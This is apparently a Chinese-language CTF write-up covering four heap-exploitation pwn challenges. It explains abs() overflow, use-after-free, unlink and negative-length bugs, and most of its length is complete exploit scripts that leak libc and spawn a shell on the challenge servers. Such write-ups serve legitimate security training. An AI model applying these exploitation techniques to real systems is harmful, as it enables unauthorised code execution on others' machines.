上周六有两场比赛重合了,解出了全部的pwn,趁着还有些印象,分享一下上周六的两个比赛的pwn题解,东华杯初赛的三个pwn,360复赛的一个pwn,难度不大。
常见的菜单题目,libc 2.23,程序逻辑很好分析,漏洞点在于update过程中的abs()函数。
v3 = __readfsqword(0x28u); puts("Which one do you want to update?"); v2 = abs(get_int()) % 30; ###存在漏洞 if ( global_node[v2] && (global_size[v2] == 32 || global_size[v2] == 48 || global_size[v2] == 64) ) { puts("Where you want to update?"); v0 = abs(get_int()) % global_size[v2]; ##存在漏洞 puts("Input Content:"); read_n(&global_node[v2][v0], global_size[v2] - v0); }
这个漏洞点在2019-强网杯-babycpp也出现过,感兴趣的可以看看2019-qwb-babycpp也是考察到了这个漏洞点,记得当初我还没有审出来,abs()函数的漏洞成因可以看看这个文章内存中的数据存储。
关于本题abs()函数利用的测试代码如下:
#include <stdio.h> #include <stdlib.h> int main() { int a = -0x80000000; int b = abs(a); printf("the return value of abs(a) is : %d(10) %d(10) %d(10) .\n",b%0x20,b%0x30,b%0x40); return 0; } output: the return value of abs(a) is : 0(10) -32(10) 0(10) .
从测试代码可以看到,当我们编辑mem_size 0x30大小的chunk的时候,输入-0x80000000大小的idx会造成整数溢出,导致我们可以向当前chunk_mem的-0x20大小处编辑,由此可以改变chunk size进行构造overlapped chunk。
期初我尝试用top_chunk_atk来get shell,但是感觉可能要构造一下heap的布局;于是选了一种简单的方式,控制unsorted bin的bk,house of orange就可以get shell了。
#https://github.com/matrix1001/welpwn from PwnContext import * try: from IPython import embed as ipy except ImportError: print ('IPython not installed.') if __name__ == '__main__': context.terminal = ['tmux', 'splitw', '-h'] context.log_level = 'debug' # functions for quick script s = lambda data :ctx.send(str(data)) #in case that data is an int sa = lambda delim,data :ctx.sendafter(str(delim), str(data)) sl = lambda data :ctx.sendline(str(data)) sla = lambda delim,data :ctx.sendlineafter(str(delim), str(data)) r = lambda numb=4096 :ctx.recv(numb) ru = lambda delims, drop=True :ctx.recvuntil(delims, drop) irt = lambda :ctx.interactive() rs = lambda *args, **kwargs :ctx.start(*args, **kwargs) dbg = lambda gs='', **kwargs :ctx.debug(gdbscript=gs, **kwargs) # misc functions uu32 = lambda data :u32(data.ljust(4, '\0')) uu64 = lambda data :u64(data.ljust(8, '\0')) ctx.binary = './pwn' ctx.remote = ('8sdafgh.gamectf.com', 10001) ctx.symbols = { 'node':0x2020c0, 'size':0x202040, 'limit':0x202020, } ctx.breakpoints = [0x11CB]#menu:0x11CB update_read_n:0x0109B def lg(s,addr): print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr)) def add(choice,content='\n'): sla('5.Exit',1) sla('arge',choice) sa('tent:',content) def delete(idx): sla('5.Exit',3) sla('delete?',idx) def show(idx): sla('5.Exit',4) sla('view?\n',idx) def edit(idx,where,content): sla('5.Exit',2) sla('update',idx) sla('update',where) sa('tent:',content) rs('remote') add(1)#0 add(2)#1 add(2)#2 add(2)#3 add(2)#4 add(2)#5 add(2)#6 add(2)#7 add(1)#8 #leak libc edit(1,-0x80000000,p64(0)*3+p64(0x181)+'\n')#modufy the size delete(1) add(2)#9 overlapped with 2 show(2) libc_base = uu64(r(6)) - 0x3c4b78 lg('libc_base : ',libc_base) #leak heap add(2)#10 voerlapped with 2 delete(4) delete(10) show(2) heap_base = uu64(r(6)) - 0x0f0 lg('heap_base : ',heap_base) #house of orange system = libc_base + 0x045390 _IO_list_all = libc_base + 0x3c5520 edit(0,0,p64(system)*4) fake_file = '/bin/sh\x00'+p64(0x61) # fake_file fake_file += p64(0)+p64(_IO_list_all-0x10) #unsorted bin attack fake_file += p64(0)+p64(1) #bypass check edit(3,-0x80000000,p64(0)*2+fake_file+p64(0)*2) edit(6,0,p64(0)+p64(heap_base+0x10)+'\n') irt()
菜单类型pwn,chunk在free之后并没有清空,并且存在edit功能,因此UAF可利用。
if ( v1 < 0 || v1 > 5 ) { puts("Wrong id!"); } else if ( qword_602040[v1] ) { free((void *)*qword_602040[v1]); free(qword_602040[v1]); puts("Delete success!");
没有开PIE,并且bss段存储了node,存在UAF漏洞,可以通过UAF构造任意写,任意写要注意一下分配的技巧,如下面这样,要使得chunk中存在残留的heap信息,这样我们就可以通过partial write来修改heap的信息:
reg(0,0x90) reg(4,0x68) delete(0) delete(4) reg(5,0x18)
然后bss端的node数量有限制,我们可以通过任意地址写来不断清空bss段绕过这个限制。
泄露libc就是通过16字节的爆破分配到stdout,修改stdout来泄露libc。
最终就是fastbin_atk修改malloc_hook为one_gadget来get shell。
这道题目其他的队伍都交的比较快,可能有其他更简单的方式吧。
exp如下
#https://github.com/matrix1001/welpwn from PwnContext import * try: from IPython import embed as ipy except ImportError: print ('IPython not installed.') if __name__ == '__main__': context.terminal = ['tmux', 'splitw', '-h'] context.log_level = 'debug' # functions for quick script s = lambda data :ctx.send(str(data)) #in case that data is an int sa = lambda delim,data :ctx.sendafter(str(delim), str(data)) sl = lambda data :ctx.sendline(str(data)) sla = lambda delim,data :ctx.sendlineafter(str(delim), str(data)) r = lambda numb=4096 :ctx.recv(numb) ru = lambda delims, drop=True :ctx.recvuntil(delims, drop) irt = lambda :ctx.interactive() rs = lambda *args, **kwargs :ctx.start(*args, **kwargs) dbg = lambda gs='', **kwargs :ctx.debug(gdbscript=gs, **kwargs) # misc functions uu32 = lambda data :u32(data.ljust(4, '\0')) uu64 = lambda data :u64(data.ljust(8, '\0')) ctx.binary = './login' #ctx.custom_lib_dir = '/home/iddm/glibc-all-in-one/libs/2.27-3ubuntu1_amd64' ctx.remote = ('8sdafgh.gamectf.com', 20000) #ctx.debug_remote_libc = True ctx.symbols = { 'node':0x602040, } ctx.breakpoints = [0x400E15]#menu:0x400E15 strcmp:0x400B94 edit_read:400DAB def lg(s,addr): print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr)) def reg(id,len,passwd='\n'): sla('ice:\n',2) sla('id:\n',id) sla('length:\n',len) sa('password:\n',passwd) def m_reg(id,len,passwd='\n'): sl(2) sla('id:\n',id) sla('length:\n',len) sa('password:\n',passwd) def delete(id): sla('ice:\n',3) sla('id:\n',id) def edit(idx,passwd): sla('ice:\n',4) sla('id:\n',str(idx)) sa('pass:\n',passwd) while True: try: context.log_level = 'info' #rs() rs('remote') #dbg() reg(0,0x90) reg(4,0x68) delete(0) delete(4) reg(5,0x18) #dbg() bss = 0x602040 #dbg() edit(5,'\x68') edit(4,p64(0x21)) edit(5,p64(bss)) edit(4,p64(0)*6) #dbg() reg(0,0x10) reg(4,0x10) delete(0) #dbg() delete(4) #dbg() reg(5,0x18) #fake_chunk reg(1,0x10) edit(5,'\x00') edit(4,p64(0)+p64(0x131)) edit(5,'\x30') edit(4,'\x10') #dbg() delete(0) reg(2,0xb0) edit(5,'\x00') edit(4,p64(0)+p64(0x21)) delete(0) #dbg() edit(5,p64(bss)+p64(0x60)*2) edit(4,p64(0)*6) #dbg() reg(0,0x50) #dbg() reg(4,0x8) reg(1,0x10) delete(1) #dbg() delete(4) #dbg() reg(5,0x18) #fastbin atk edit(5,'\xd0') edit(4,'\xdd\x25') #dbg() ############################3 reg(2,0x60) payload= '\0'*0x33+p64(0xfbad3887)+p64(0)*3+'\0' reg(3,0x68,payload) ru('\xa3') r(7) libc_base = uu64(r(8)) - 0x3c56a3 aim = libc_base + 0x3c4aed #padding = 0x13-8 lg('libc_base',libc_base) #raw_input() #dbg() edit(5,'\x30') edit(4,'\x50') #dbg() delete(1) delete(0) #dbg() edit(5,p64(bss)+p64(0x60)*2) edit(4,p64(0)*6) #edit(4,p64(aim)) #dbg() reg(0,0x20) reg(4,0x20) delete(0) delete(4) #dbg() reg(5,0x18) #dbg() aim = libc_base + 0x3c4aed edit(5,'\xd0') edit(4,p64(aim)) #dbg() reg(1,0x60) payload = '\0'*0x13 + p64(libc_base+0xf1147) reg(2,0x68,payload) irt() except KeyboardInterrupt: break except EOFError: continue
同样是UAF,可编辑,无show函数,got表可改,无PIE,node存在bss段上。
好吧,明显是unlink控制bss段,然后任意地址写。甚至和入门的unlink同样简单。但是不知道为什么这么少的队伍做出来,我也没有想出来,是队友告诉我的。
unlink应该都懂,这里强调一下伪造unsorted bin chunk想要free的时候,需要伪造next chunk以及next next chunk。并且unlink能够成功的条件是,unsorted bin链表是正常的。
exp如下
#https://github.com/matrix1001/welpwn from PwnContext import * try: from IPython import embed as ipy except ImportError: print ('IPython not installed.') if __name__ == '__main__': context.terminal = ['tmux', 'splitw', '-h'] context.log_level = 'debug' # functions for quick script s = lambda data :ctx.send(str(data)) #in case that data is an int sa = lambda delim,data :ctx.sendafter(str(delim), str(data)) sl = lambda data :ctx.sendline(str(data)) sla = lambda delim,data :ctx.sendlineafter(str(delim), str(data)) r = lambda numb=4096 :ctx.recv(numb) ru = lambda delims, drop=True :ctx.recvuntil(delims, drop) irt = lambda :ctx.interactive() rs = lambda *args, **kwargs :ctx.start(*args, **kwargs) dbg = lambda gs='', **kwargs :ctx.debug(gdbscript=gs, **kwargs) # misc functions uu32 = lambda data :u32(data.ljust(4, '\0')) uu64 = lambda data :u64(data.ljust(8, '\0')) ctx.binary = './pwn' #ctx.custom_lib_dir = '/home/iddm/glibc-all-in-one/libs/2.27-3ubuntu1_amd64' #ctx.remote = ('8sdafgh.gamectf.com', 35555) #ctx.debug_remote_libc = True ctx.symbols = { 'small':0x6020d0, } ctx.breakpoints = [0x400D75]#menu:0x400D75 def lg(s,addr): print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr)) def add(choice,content='\n'): sla('4.Exit',1) sla('add?',choice) sa('tent:',content) def delete(choice): sla('4.Exit',2) sla('arge',choice) def edit(choice,content): sla('4.Exit',3) sla('update',choice) sla('tent:',content) rs() bss = 0x6020d8 add(2) f = { 0x8:0x51, 0x50:0x50, 0x58:0xa0, 0xf8:0x21, 0x118:0x21 } payload = fit(f,filler='\0') edit(2,payload) #prepare for the fake_chunk add(1) delete(2) add(1) add(1) add(1) #unlink f = { 0x8:0x51, 0x10:bss-0x18, 0x18:bss-0x10, 0x50:0x50, 0x58:0xa0 } payload = fit(f,filler='\0') edit(2,payload) delete(1) #leak libc free_got = 0x602018 puts = 0x400740 srand_got = 0x602048 edit(2,'\0'*0x18+p64(0x6020d0)) edit(2,p64(free_got)[:-1]) edit(1,p64(puts)[:-1]) edit(2,p64(srand_got)[:-1]) delete(1) ru('\x0a') libc_base = uu64(ru('\x0a',drop=True))-ctx.libc.sym['srand'] lg('libc_base',libc_base) #get shell system = libc_base + ctx.libc.sym['system'] edit(2,p64(free_got)[:-1]) edit(1,p64(system)[:-1]) edit(2,p64(0x6020d8)+'/bin/sh\0') delete(1) irt()
去年的东华杯我也参加了,相较于今年的pwn题,去年的两个pwn题目质量更高(去年考察了一个arm_pwn的rop利用,第二题是 通过模拟服务器行为在其中藏了一个double free,第二题在现在来看平平无奇,当初做起来还是让人眼前一亮的),总之,东华杯作为一个学校来说,能够每年承办这种比赛还是挺不错的,老师应该很辛苦,希望以后越办越好。
360复赛只有一个pwn,可能因为线下赛是内网渗透吧,所以pwn的比重不大。
溢出点,负数溢出。
pool[i] = malloc(0x10uLL); if ( !pool[i] ) { puts("Allocate Error"); exit(-1); } puts("Do you want encode(0) or decode(1) your secret ?"); __isoc99_scanf("%d", &v1); if ( v1 == 1 ) { puts("please input your secret:"); read(0, buffer, (unsigned int)nbytes); # 存在溢出 ,输入一个负数 b64decode((const char *)buffer, i); memset(buffer, 0, 0x200uLL);
把encode/decode看明白就没啥东西了,exp利用起来也不长。
#https://github.com/matrix1001/welpwn from PwnContext import * try: from IPython import embed as ipy except ImportError: print ('IPython not installed.') if __name__ == '__main__': context.terminal = ['tmux', 'splitw', '-h'] context.log_level = 'debug' # functions for quick script s = lambda data :ctx.send(str(data)) #in case that data is an int sa = lambda delim,data :ctx.sendafter(str(delim), str(data)) sl = lambda data :ctx.sendline(str(data)) sla = lambda delim,data :ctx.sendlineafter(str(delim), str(data)) r = lambda numb=4096 :ctx.recv(numb) ru = lambda delims, drop=True :ctx.recvuntil(delims, drop) irt = lambda :ctx.interactive() rs = lambda *args, **kwargs :ctx.start(*args, **kwargs) dbg = lambda gs='', **kwargs :ctx.debug(gdbscript=gs, **kwargs) # misc functions uu32 = lambda data :u32(data.ljust(4, '\0')) uu64 = lambda data :u64(data.ljust(8, '\0')) ctx.binary = './360' #ctx.custom_lib_dir = '/home/iddm/glibc-all-in-one/libs/2.27-3ubuntu1_amd64' ctx.remote = ('180.153.183.86', 10001) #ctx.debug_remote_libc = True ctx.symbols = { 'node':0x6020e0, } ctx.breakpoints = [0x04015A2 ]#menu def lg(s,addr): print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr)) def add(size,module,content='\n'): sla('ice',1) sla('size',size) if module !=2: sla('secret ?',module)#encode(0) or decode(1) else: sla('secret ?',0) if module == 1: sa('secret:',base64.b64encode(content)) elif module == 0: sa('secret:',base64.b64decode(content)) else: sa('secret:',content) def delete(idx): sla('choice:',4) sla('destroy:',idx) def show(idx): sla('choice:',2) sla('notes:',idx) def edit(idx,content): sla('choice:',3) sla('edit:',idx) sa('secret:',content) rs() add(0x100,1,'a'*0x100) add(0x1,1) delete(0) dbg() add(0x1,1) show(0) lb = uu64(ru('\x7f',drop=False)[-6:])-0x3c4c38 success('libc_base = {}'.format(hex(lb))) sys = ctx.libc.sym['system']+lb sl(6) ru('Wrong') delete(7) delete(8) delete(9) add(-1,2,'b'*0x200+p64(0)+p64(0x71)+'/bin/sh\x00'+p64(0x602018)) edit(0,p64(sys)) delete(0) irt()
360初赛两个pwn的exp需要自取